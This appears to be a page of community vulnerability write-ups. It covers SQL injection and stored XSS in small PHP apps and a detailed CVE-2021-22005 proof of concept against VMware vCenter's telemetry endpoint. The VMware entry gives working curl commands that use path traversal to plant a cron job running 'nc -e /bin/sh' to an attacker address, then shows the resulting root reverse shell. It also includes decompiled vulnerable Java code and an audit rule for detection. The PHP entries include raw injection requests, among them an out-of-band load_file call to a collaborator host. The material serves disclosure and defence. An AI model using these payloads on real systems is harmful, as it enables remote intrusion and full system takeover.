1
Ratings
  • Attacker Value
    Very High
  • Exploitability
    Very High
Technical Analysis

CVE-2021-36621

Vendor

Description

Sourcecodester Online Covid Vaccination Scheduler System 1.0 is vulnerable to SQL Injection and XSS-STORED PHPSESSID Hijacking.
The attacker can be hijacking the PHPSESSID by using this vulnerability and then he can log in to the system and exploit the admin account.
Next, exploitation: For MySQL vulnerability, the username parameter is vulnerable to time-based SQL injection. Upon successful dumping the admin password hash,
an attacker can decrypt and obtain the plain-text password. Hence, the attacker could authenticate as an Administrator.

Request MySQL:

GET /scheduler/addSchedule.php?lid=(select%20load_file('%5c%5c%5c%5ciugn0izvyx9wrtoo6c6oo16xeokh87wyymp9fx4.burpcollaborator.net%5c%5cgfd'))&d= HTTP/1.1
Host: localhost
Cookie: PHPSESSID=30nmu0cj0blmnevrj5arrk8hh3
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Connection: close
Cache-Control: max-age=0

Respond MySQL:

HTTP/1.1 200 OK
Date: Tue, 28 Sep 2021 11:17:00 GMT
Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/7.4.22
X-Powered-By: PHP/7.4.22
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Access-Control-Allow-Origin: *
Content-Length: 5045
Connection: close
Content-Type: text/html; charset=UTF-8

<style>
#uni_modal .modal-content>.modal-header,#uni_modal .modal-content>.modal-footer{
display:none;
}
#uni_modal .modal-body{
padding-top:0 !important;
}
#location_modal{
direct
...[SNIP]...

Request XSS:

GET /scheduler/addSchedule.php?lid=5&d=v6qfw%3cscript%3ealert(1)%3c%2fscript%3eytpic HTTP/1.1
Host: localhost
Cookie: PHPSESSID=30nmu0cj0blmnevrj5arrk8hh3
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Connection: close
Cache-Control: max-age=0

Respond XSS:

HTTP/1.1 200 OK
Date: Tue, 28 Sep 2021 11:16:57 GMT
Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/7.4.22
X-Powered-By: PHP/7.4.22
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Access-Control-Allow-Origin: *
Content-Length: 4576
Connection: close
Content-Type: text/html; charset=UTF-8

<style>
#uni_modal .modal-content>.modal-header,#uni_modal .modal-content>.modal-footer{
display:none;
}
#uni_modal .modal-body{
padding-top:0 !important;
}
#location_modal{
direct
...[SNIP]...
<h3>Schedule Form: (v6qfw<script>alert(1)</script>ytpic)</h3>
...[SNIP]...


Reproduce:

href

Proof:

href

1
Ratings
  • Attacker Value
    Very High
  • Exploitability
    Very High
Technical Analysis

CVE-nu11-16-092421

Description:

The OBS-PHP(by:oretnom23)v1.0 is vulnerable to remote SQL-Injection bypass Authentication, XSS-Stored, and PHPSESSID Hijacking.
The vulnerable app: to remote SQL – injection bypass Authentication is “login.php”, with parameters: “username” and “password”.
After the successful PWNED of the credentials for the admin account, the malicious user can be storing an XSS payload, whit who can take the active PHPSESSID
every time when he wants to log in to the system with an admin account by using this exploit.

Reproduce: href

Proof: href

BR nu11secur1ty

1
Ratings
  • Attacker Value
    Very High
  • Exploitability
    Very High
Technical Analysis

CVE-nu11-06-092421

Description:

The PASS-PHP (by: oretnom23 ) v1.0 is vulnerable to remote SQL-Injection bypass Authentication, XSS-Stored, and PHPSESSID Hijacking.
The vulnerable app: to remote SQL – injection bypass Authentication is “login.php”, with parameters: “username” and “password”.
After the successful PWNED of the credentials for the admin account, the malicious user can be storing an XSS payload, whit who can take the active PHPSESSID
every time when he wants to log in to the system with an admin account by using this exploit.


Reproduce:

href

Proof:

href

2
Ratings
Technical Analysis

Redacted Unredacted RCE PoC against CEIP (telemetry):

wvu@kharak:~$ curl -kv "https://172.16.57.2/analytics/telemetry/ph/api/hyper/send?_c=&_i=/$RANDOM" -H Content-Type: -d ""
*   Trying 172.16.57.2...
* TCP_NODELAY set
* Connected to 172.16.57.2 (172.16.57.2) port 443 (#0)
* ALPN, offering h2
* ALPN, offering http/1.1
* successfully set certificate verify locations:
*   CAfile: /etc/ssl/cert.pem
  CApath: none
* TLSv1.2 (OUT), TLS handshake, Client hello (1):
* TLSv1.2 (IN), TLS handshake, Server hello (2):
* TLSv1.2 (IN), TLS handshake, Certificate (11):
* TLSv1.2 (IN), TLS handshake, Server key exchange (12):
* TLSv1.2 (IN), TLS handshake, Server finished (14):
* TLSv1.2 (OUT), TLS handshake, Client key exchange (16):
* TLSv1.2 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.2 (OUT), TLS handshake, Finished (20):
* TLSv1.2 (IN), TLS change cipher, Change cipher spec (1):
* TLSv1.2 (IN), TLS handshake, Finished (20):
* SSL connection using TLSv1.2 / ECDHE-RSA-AES256-GCM-SHA384
* ALPN, server did not agree to a protocol
* Server certificate:
*  subject: CN=172.16.57.2; C=US
*  start date: Sep 21 23:36:07 2021 GMT
*  expire date: Sep 16 23:36:04 2031 GMT
*  issuer: CN=CA; DC=vsphere; DC=local; C=US; ST=California; O=photon-machine; OU=VMware Engineering
*  SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.
> POST /analytics/telemetry/ph/api/hyper/send?_c=&_i=/7019 HTTP/1.1
> Host: 172.16.57.2
> User-Agent: curl/7.64.1
> Accept: */*
> Content-Length: 0
>
< HTTP/1.1 201
< Content-Length: 0
< Date: Mon, 27 Sep 2021 23:00:07 GMT
< Server: Apache
<
* Connection #0 to host 172.16.57.2 left intact
* Closing connection 0
wvu@kharak:~$ curl -kv "https://172.16.57.2/analytics/telemetry/ph/api/hyper/send?_c=&_i=/../../../../../../etc/cron.d/$RANDOM" -H Content-Type: -d "* * * * * root nc -e /bin/sh 172.16.57.1 4444"
*   Trying 172.16.57.2...
* TCP_NODELAY set
* Connected to 172.16.57.2 (172.16.57.2) port 443 (#0)
* ALPN, offering h2
* ALPN, offering http/1.1
* successfully set certificate verify locations:
*   CAfile: /etc/ssl/cert.pem
  CApath: none
* TLSv1.2 (OUT), TLS handshake, Client hello (1):
* TLSv1.2 (IN), TLS handshake, Server hello (2):
* TLSv1.2 (IN), TLS handshake, Certificate (11):
* TLSv1.2 (IN), TLS handshake, Server key exchange (12):
* TLSv1.2 (IN), TLS handshake, Server finished (14):
* TLSv1.2 (OUT), TLS handshake, Client key exchange (16):
* TLSv1.2 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.2 (OUT), TLS handshake, Finished (20):
* TLSv1.2 (IN), TLS change cipher, Change cipher spec (1):
* TLSv1.2 (IN), TLS handshake, Finished (20):
* SSL connection using TLSv1.2 / ECDHE-RSA-AES256-GCM-SHA384
* ALPN, server did not agree to a protocol
* Server certificate:
*  subject: CN=172.16.57.2; C=US
*  start date: Sep 21 23:36:07 2021 GMT
*  expire date: Sep 16 23:36:04 2031 GMT
*  issuer: CN=CA; DC=vsphere; DC=local; C=US; ST=California; O=photon-machine; OU=VMware Engineering
*  SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.
> POST /analytics/telemetry/ph/api/hyper/send?_c=&_i=/../../../../../../etc/cron.d/30229 HTTP/1.1
> Host: 172.16.57.2
> User-Agent: curl/7.64.1
> Accept: */*
> Content-Length: 45
>
* upload completely sent off: 45 out of 45 bytes
< HTTP/1.1 201
< Content-Length: 0
< Date: Mon, 27 Sep 2021 23:01:00 GMT
< Server: Apache
<
* Connection #0 to host 172.16.57.2 left intact
* Closing connection 0
wvu@kharak:~$

The first request creates the directory required for the path traversal to succeed:

root@photon-machine [ ~ ]# realpath -m /var/log/vmware/analytics/prod/_c_i/../../../../../../etc/cron.d
/etc/cron.d
root@photon-machine [ ~ ]#

The second request creates a cron job that spawns a reverse shell:

wvu@kharak:~$ ncat -lv 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.16.57.2.
Ncat: Connection from 172.16.57.2:37570.
id
uid=0(root) gid=0(root) groups=0(root),1000(vami),4044(shellaccess),59005(coredump)
uname -a
Linux photon-machine 4.4.250-1.ph1 #1-photon SMP Fri Jan 15 03:01:15 UTC 2021 x86_64 GNU/Linux

No attack-related log files appear to be written, though the following files are created during exploitation:

root@photon-machine [ ~ ]# ls -l /var/log/vmware/analytics/prod/_c_i/*.json /etc/cron.d/*.json
-rw-r--r-- 1 root root 46 Sep 27 23:01 /etc/cron.d/30229.json
-rw-r--r-- 1 root root  1 Sep 27 23:00 /var/log/vmware/analytics/prod/_c_i/7019.json
root@photon-machine [ ~ ]# cat /etc/cron.d/30229.json
* * * * * root nc -e /bin/sh 172.16.57.1 4444
root@photon-machine [ ~ ]#

Which can be watched using the Linux audit framework:

root@photon-machine [ ~ ]# auditctl -w /etc/cron.d -p w -k CVE-2021-22005
root@photon-machine [ ~ ]# ausearch -k CVE-2021-22005
----
time->Tue Sep 28 08:06:32 2021
type=CONFIG_CHANGE msg=audit(1632816392.774:252): auid=0 ses=1 op="add_rule" key="CVE-2021-22005" list=4 res=1
----
time->Tue Sep 28 08:07:30 2021
type=PROCTITLE msg=audit(1632816450.928:253): proctitle=2F7573722F6A6176612F6A72652D766D776172652F62696E2F766D776172652D616E616C79746963732E6C61756E63686572002D586D783132386D002D58583A436F6D70726573736564436C617373537061636553697A653D36346D002D5873733235366B002D58583A506172616C6C656C4743546872656164733D31002D44
type=PATH msg=audit(1632816450.928:253): item=1 name="/var/log/vmware/analytics/prod/_c_i/../../../../../../etc/cron.d/12147.json" inode=542310 dev=08:03 mode=0100644 ouid=0 ogid=0 rdev=00:00 nametype=CREATE
type=PATH msg=audit(1632816450.928:253): item=0 name="/var/log/vmware/analytics/prod/_c_i/../../../../../../etc/cron.d/" inode=525323 dev=08:03 mode=040755 ouid=0 ogid=0 rdev=00:00 nametype=PARENT
type=CWD msg=audit(1632816450.928:253):  cwd="/storage/log/vmware/vmon"
type=SYSCALL msg=audit(1632816450.928:253): arch=c000003e syscall=2 success=yes exit=154 a0=7f19d80a0df0 a1=441 a2=1b6 a3=7f1a15052a40 items=2 ppid=2017 pid=13929 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm="vmware-analytic" exe="/usr/java/jre-vmware/bin/vmware-analytics.launcher" key="CVE-2021-22005"
root@photon-machine [ ~ ]#

The path traversal and file write can be traced to these three classes, where a log filename is constructed from unsanitized input:

package com.vmware.ph.phservice.push.telemetry.server;

import com.vmware.ph.phservice.common.server.HttpUtil;
import com.vmware.ph.phservice.common.server.throttler.RateLimiter;
import com.vmware.ph.phservice.push.telemetry.TelemetryLevel;
import com.vmware.ph.phservice.push.telemetry.TelemetryLevelService;
import com.vmware.ph.phservice.push.telemetry.TelemetryRequest;
import com.vmware.ph.phservice.push.telemetry.TelemetryService;
import com.vmware.ph.phservice.push.telemetry.server.throttler.RateLimiterProvider;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.util.concurrent.Callable;
import javax.servlet.http.HttpServletRequest;
import org.apache.commons.io.IOUtils;
import org.apache.commons.logging.Log;
import org.apache.commons.logging.LogFactory;
import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RequestParam;

@Controller
public class AsyncTelemetryController {
  private static final Log _log = LogFactory.getLog(AsyncTelemetryController.class);

  private static final String STAGE_PATH = "/ph-stg/api/hyper/send";

  private static final String PROD_PATH = "/ph/api/hyper/send";

  private static final String STAGE_LEVEL_PATH = "/ph-stg/api/level";

  private static final String PROD_LEVEL_PATH = "/ph/api/level";

  private final TelemetryService _prodTelemetryService;

  private final TelemetryService _stageTelemetryService;

  private final TelemetryLevelService _prodTelemetryLevelService;

  private final TelemetryLevelService _stageTelemetryLevelService;

  private final long _telemetryRequestPermitTimeoutMillis;

  private final RateLimiter _globalTelemetryRateLimiter;

  private RateLimiterProvider _prodRateLimiterProvider;

  private RateLimiterProvider _stageRateLimiterProvider;

  public AsyncTelemetryController(TelemetryService prodTelemetryService, TelemetryService stageTelemetryService, TelemetryLevelService prodTelemetryLevelService, TelemetryLevelService stageTelemetryLevelService, RateLimiter globalTelemetryRateLimiter, long telemetryRequestPermitTimeoutMillis) {
    this._prodTelemetryService = prodTelemetryService;
    this._stageTelemetryService = stageTelemetryService;
    this._prodTelemetryLevelService = prodTelemetryLevelService;
    this._stageTelemetryLevelService = stageTelemetryLevelService;
    this._globalTelemetryRateLimiter = globalTelemetryRateLimiter;
    this._telemetryRequestPermitTimeoutMillis = telemetryRequestPermitTimeoutMillis;
  }

  public void setProdRateLimiterProvider(RateLimiterProvider prodRateLimiterProvider) {
    this._prodRateLimiterProvider = prodRateLimiterProvider;
  }

  public void setStageRateLimiterProvider(RateLimiterProvider stageRateLimiterProvider) {
    this._stageRateLimiterProvider = stageRateLimiterProvider;
  }

  @RequestMapping(method = {RequestMethod.POST}, value = {"/ph/api/hyper/send"})
  public Callable<ResponseEntity<Void>> handleSendRequest(HttpServletRequest httpRequest, @RequestParam(value = "_v", required = false) String version, @RequestParam("_c") String collectorId, @RequestParam(value = "_i", required = false) String collectorInstanceId) throws IOException {
    return handleSendRequest(this._prodTelemetryService, this._prodRateLimiterProvider, httpRequest, version, collectorId, collectorInstanceId);
  }

  @RequestMapping(method = {RequestMethod.POST}, value = {"/ph-stg/api/hyper/send"})
  public Callable<ResponseEntity<Void>> handleStageSendRequest(HttpServletRequest httpRequest, @RequestParam(value = "_v", required = false) String version, @RequestParam("_c") String collectorId, @RequestParam(value = "_i", required = false) String collectorInstanceId) throws IOException {
    return handleSendRequest(this._stageTelemetryService, this._stageRateLimiterProvider, httpRequest, version, collectorId, collectorInstanceId);
  }

  @RequestMapping(method = {RequestMethod.GET}, value = {"/ph/api/level"})
  public Callable<ResponseEntity<String>> handleGetLevelRequest(@RequestParam("_c") String collectorId, @RequestParam(value = "_i", required = false) String collectorInstanceId) {
    return handleGetLevelRequest(this._prodTelemetryLevelService, this._prodRateLimiterProvider, collectorId, collectorInstanceId);
  }

  @RequestMapping(method = {RequestMethod.GET}, value = {"/ph-stg/api/level"})
  public Callable<ResponseEntity<String>> handleStageGetLevelRequest(@RequestParam("_c") String collectorId, @RequestParam(value = "_i", required = false) String collectorInstanceId) {
    return handleGetLevelRequest(this._stageTelemetryLevelService, this._stageRateLimiterProvider, collectorId, collectorInstanceId);
  }

  private Callable<ResponseEntity<Void>> handleSendRequest(final TelemetryService telemetryService, final RateLimiterProvider rateLimiterProvider, HttpServletRequest httpRequest, String version, final String collectorId, final String collectorInstanceId) throws IOException {
    final TelemetryRequest telemetryRequest = createTelemetryRequest(httpRequest, version, collectorId, collectorInstanceId);
    return new Callable<ResponseEntity<Void>>() {
        public ResponseEntity<Void> call() throws Exception {
          if (!AsyncTelemetryController.this.isRequestPermitted(collectorId, collectorInstanceId, rateLimiterProvider))
            return new ResponseEntity(HttpStatus.TOO_MANY_REQUESTS);
          telemetryService.processTelemetry(telemetryRequest.getCollectorId(), telemetryRequest.getCollectorIntanceId(), new TelemetryRequest[] { this.val$telemetryRequest });
          return new ResponseEntity(HttpStatus.CREATED);
        }
      };
  }

  private Callable<ResponseEntity<String>> handleGetLevelRequest(final TelemetryLevelService telemetryLevelService, final RateLimiterProvider rateLimiterProvider, final String collectorId, final String collectorInstanceId) {
    return new Callable<ResponseEntity<String>>() {
        public ResponseEntity<String> call() throws Exception {
          if (!AsyncTelemetryController.this.isRequestPermitted(collectorId, collectorInstanceId, rateLimiterProvider))
            return new ResponseEntity(HttpStatus.TOO_MANY_REQUESTS);
          TelemetryLevel level = telemetryLevelService.getTelemetryLevel(collectorId, collectorInstanceId);
          ResponseEntity<String> telemetryLevelResponseEntity = new ResponseEntity(AsyncTelemetryController.wrapStringAsJsonString(level.toString()), HttpStatus.OK);
          return telemetryLevelResponseEntity;
        }
      };
  }

  private boolean isRequestPermitted(String collectorId, String collectorInstanceId, RateLimiterProvider collectorRateLimiterProvider) {
    boolean isRequestPermitted = this._globalTelemetryRateLimiter.tryAcquire(this._telemetryRequestPermitTimeoutMillis);
    if (isRequestPermitted && collectorRateLimiterProvider != null) {
      RateLimiter collectorRateLimiter = collectorRateLimiterProvider.getRateLimiter(collectorId, collectorInstanceId);
      if (collectorRateLimiter != null)
        isRequestPermitted = collectorRateLimiter.tryAcquire(this._telemetryRequestPermitTimeoutMillis);
    }
    if (!isRequestPermitted)
      _log.warn("Request will not be processed due to high load.");
    return isRequestPermitted;
  }

  private static TelemetryRequest createTelemetryRequest(HttpServletRequest httpRequest, String version, String collectorId, String collectorInstanceId) throws IOException {
    ByteArrayOutputStream out = new ByteArrayOutputStream();
    IOUtils.copy((InputStream)httpRequest.getInputStream(), out);
    boolean isCompressed = HttpUtil.isCompressed(httpRequest);
    TelemetryRequest telemetryRequest = new TelemetryRequest(version, collectorId, collectorInstanceId, out.toByteArray(), isCompressed);
    return telemetryRequest;
  }

  private static final String wrapStringAsJsonString(String responseBody) {
    return String.format("\"%s\"", new Object[] { responseBody });
  }
}
package com.vmware.ph.phservice.push.telemetry;

import com.vmware.ph.phservice.push.telemetry.internal.impl.ResultFuture;
import com.vmware.ph.phservice.push.telemetry.internal.log.LogTelemetryUtil;
import java.io.UnsupportedEncodingException;
import java.nio.file.Path;
import java.util.ArrayList;
import java.util.LinkedHashSet;
import java.util.List;
import java.util.Set;
import java.util.concurrent.Future;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.ThreadContext;
import org.apache.logging.log4j.core.LoggerContext;

public class LogTelemetryService implements TelemetryService {
  private static final String CTX_LOG_TELEMETRY_DIR_PATH = "logTelemetryDirPath";

  private static final String CTX_LOG_TELEMETRY_FILE_NAME = "logTelemetryFileName";

  private final Path _logDirPath;

  private final Logger _logger;

  public LogTelemetryService(Path logDirPath, LoggerContext loggerContext) {
    this._logDirPath = logDirPath;
    this._logger = (Logger)loggerContext.getLogger(LogTelemetryService.class.getName() + ":" + logDirPath.toString());
  }

  public Future<Boolean> processTelemetry(String collectorId, String collectorInstanceId, TelemetryRequest[] telemetryRequests) {
    ThreadContext.put("logTelemetryDirPath", this._logDirPath.normalize().toString());
    ThreadContext.put("logTelemetryFileName", LogTelemetryUtil.getLogFileNamePattern(collectorId, collectorInstanceId));
    for (TelemetryRequest telemetryRequest : telemetryRequests)
      this._logger.info(serializeToLogMessage(telemetryRequest));
    return new ResultFuture<>(Boolean.TRUE);
  }

  public List<CollectorAgent> getAvailableCollectors() {
    Set<CollectorAgent> collectors = new LinkedHashSet<>();
    Path[] paths = LogTelemetryUtil.getTelemetryLogPaths(this._logDirPath);
    for (Path path : paths) {
      CollectorAgent collectorAgent = LogTelemetryUtil.getCollectorAgent(path);
      collectors.add(collectorAgent);
    }
    return new ArrayList<>(collectors);
  }

  public Path getLogDirPath() {
    return this._logDirPath;
  }

  public Path getBookmarkDirectoryPath() {
    return getLogDirPath();
  }

  private static String serializeToLogMessage(TelemetryRequest telemetryRequest) {
    String body = "";
    try {
      body = new String(telemetryRequest.getData(), "UTF-8");
    } catch (UnsupportedEncodingException e) {}
    return body;
  }
}
package com.vmware.ph.phservice.push.telemetry.internal.log;

import com.vmware.ph.phservice.common.internal.file.FileUtil;
import com.vmware.ph.phservice.push.telemetry.CollectorAgent;
import com.vmware.ph.phservice.push.telemetry.TelemetryRequest;
import java.io.File;
import java.io.FilenameFilter;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.util.Date;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

public class LogTelemetryUtil {
  static final String COLLECTOR_ID_PREFIX = "_c";

  static final String COLLECTOR_INSTANCE_ID_PREFIX = "_i";

  static final String LOG_FILE_NAME_PATTERN = "_c%1$s_i%2$s";

  private static final String LOG_COMPRESSED_FILE_EXTENSION_REGEX = "\\.[\\d]+\\.json.gz";

  private static final Pattern LOG_ROLLING_FILE_INDEX_PATTERN = Pattern.compile(".+\\.(\\d+).json.gz");

  public static String getLogFileNamePattern(String collectorId, String collectorInstanceId) {
    String logFileName = String.format("_c%1$s_i%2$s", new Object[] { collectorId, collectorInstanceId });
    return logFileName;
  }

  public static Path[] getTelemetryLogPaths(Path logDirPath) {
    Path[] paths = FileUtil.listFiles(logDirPath, new FilenameFilter() {
          public boolean accept(File dir, String name) {
            return name.startsWith("_c");
          }
        });
    return paths;
  }

  public static CollectorAgent getCollectorAgent(Path logFilePath) {
    String logFileName = getLogFileName(logFilePath);
    int instanceIdIndex = logFileName.indexOf("_i");
    String collectorId = logFileName.substring("_c".length(), instanceIdIndex);
    String collectorInstanceId = logFileName.substring(instanceIdIndex + "_i".length());
    CollectorAgent collectorAgent = new CollectorAgent(collectorId, collectorInstanceId);
    return collectorAgent;
  }

  public static boolean isCompressed(Path logFilePath) {
    boolean isCompressed = logFilePath.toString().endsWith(".gz");
    return isCompressed;
  }

  public static TelemetryRequest buildTelemetryRequest(String collectorId, String collectorInstanceId, Path logFilePath) throws IOException {
    boolean isCompressed = isCompressed(logFilePath);
    byte[] data = Files.readAllBytes(logFilePath);
    TelemetryRequest telemetryRequest = new TelemetryRequest("1.0", collectorId, collectorInstanceId, data, isCompressed);
    return telemetryRequest;
  }

  public static boolean isLogFileNotProcessed(Path logFilePath, Date lastProcessedTimestamp) {
    if (FileUtil.isFileModifiedAfterTimestamp(logFilePath, lastProcessedTimestamp))
      return true;
    return false;
  }

  public static int getLogFileRolloverIndex(Path path, int defaultIndex) {
    String logFileName = path.toString();
    Matcher matcher = LOG_ROLLING_FILE_INDEX_PATTERN.matcher(logFileName);
    if (matcher.matches())
      return Integer.parseInt(matcher.group(1));
    return defaultIndex;
  }

  private static String getLogFileName(Path logFilePath) {
    String fileName = logFilePath.getFileName().toString();
    if (fileName.endsWith(".json.gz"))
      return fileName.replaceAll("\\.[\\d]+\\.json.gz", "");
    if (fileName.endsWith(".json")) {
      int extensionIndex = fileName.length() - ".json".length();
      return fileName.substring(0, extensionIndex);
    }
    return fileName;
  }
}

Twitter context. And more Twitter context. Thank you to Derek Abdine for being a wonderful collaborator.

Indicated source as